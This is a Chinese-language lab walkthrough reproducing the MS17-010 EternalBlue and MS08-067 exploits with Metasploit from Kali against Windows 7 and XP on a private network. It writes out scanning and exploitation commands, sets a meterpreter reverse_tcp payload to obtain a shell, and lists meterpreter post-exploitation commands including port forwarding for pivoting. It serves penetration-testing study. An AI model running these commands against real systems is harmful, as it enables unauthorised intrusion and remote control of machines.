内网环境下ms17_010的简单复现。
攻击机:kali
目标机:win7
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器。
目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows2008 R2、Windows Server2012 SP0。
首先ms17_010是SMB协议引发的,所以在win7中设置防火墙入站规则。
需要打开SMB协议打印机共享。
然后设置kali的msf。首先需要开启postgresql服务,先检查postgresql服务的状态:1
service postgresql status
没开启,那接下来开启服务。
1 | service postgresql start |
再检查,发现成功开启。
接下来启动msf。第一次启动时我遇到了这样的问题:
1 | WARNING: No database support: No database YAML file |
这时候需要初始化一下数据库,执行
1 | msfdb init |
再次启动msf时警告消失。
启动msf1
msfconsole
这个界面真让人赏心悦目,卡哇伊。
搜索ms17_010的相关操作
1 | search ms17_010 |
使用扫描功能先扫描目标网段,查看是否有主机存在漏洞。
使用相应功能。1
use auxiliary/scanner/smb/smb_ms17_010
查看那些参数需要设置。后面是s的如rhosts可以批量设置一个网段。1
show options
后面是yes的就是需要设置的,有默认值的也可以。no的一般推荐使用默认值。
1 | set rhosts 192.168.198.0/24 //设置扫描目标网段中存在此漏洞的主机。 |
那个绿色的加号就是存在漏洞的目标机器。醒目.jpg。
back返回。
1 | jobs -K //杀掉所有进程 |
然后就可以使用攻击模块了。打一批的话总有中的23333。1
2
3
4use windows/smb/ms17_010_eternalblue
show options
set rhosts 192.168.198.132
exploit
可见变成exploit()了,表示这是可利用程序;windows表示这是Windows平台;smb表示针对smb协议。
接收到了反弹的shell。
提权有一定风险,可能会把好不容易建立起来的连接断掉。
ps:
要是没有接收到反弹的shell,即不能溢出。1
show payloads
查看可利用的载荷,利用另一种载荷,即另一种反弹回来的shell。
针对不同服务器进行筛选。
reverse表示等待对方连接我的服务器。
bind表示我的服务器连接目标机。
reverse通常使用reverse_tcp,meterpreter等。
reverse_tcp_rc4表示用rc4进行加密,以增加通过防火墙的安全能力。
若远程溢出的程序在外网而我在内网,就不能使对方来连接我的服务器而是应该我的主动连接对方的服务器,即使用bind相关载荷。
默认的payload一般是reverse的形式反弹到4444端口。
补:ms08_067复现
攻击机:kali
目标机:windows xp
依然建立在smb协议上,需要打开SMB协议打印机共享。
我在尝试的时候只有关掉防火墙才成功,可是关掉防火墙又显得很鸡肋。1
2
3
4
5
6search type:exploit smb
use exploit/windows/smb/ms08_067_netapi
show payloads
set payloads windows/meterpreter/reverse_tcp //常用payload:reverse_tcp
set rhost 192.168.198.133
exploit
常见命令:
1 | bgrun //meterpreter退到后台运行 |
文件系统命令
1 | getlwd //local本地目录 |
网络命令
1 | portfwd //端口映射,便于深层内网渗透 |